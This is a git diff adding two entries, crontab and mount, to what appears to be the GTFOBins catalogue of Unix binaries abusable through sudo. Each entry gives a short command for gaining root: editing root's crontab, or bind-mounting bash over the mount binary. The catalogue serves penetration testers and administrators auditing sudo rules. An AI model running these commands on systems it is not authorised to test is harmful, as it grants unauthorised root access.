diff --git a/_gtfobins/crontab.md b/_gtfobins/crontab.md new file mode 100644 index 0000000..c431725 --- /dev/null +++ b/_gtfobins/crontab.md @@ -0,0 +1,7 @@ +--- +functions: + sudo-enabled: + - description: edit root's crontab and run arbitrary commands as root. + code: | + sudo crontab -e +--- diff --git a/_gtfobins/mount.md b/_gtfobins/mount.md new file mode 100644 index 0000000..d76c4ff --- /dev/null +++ b/_gtfobins/mount.md @@ -0,0 +1,8 @@ +--- +functions: + sudo-enabled: + - description: bind mount bash to the mount binary, as mount is sudo enabled. + code: | + sudo mount -o bind /bin/bash /bin/mount + sudo mount +---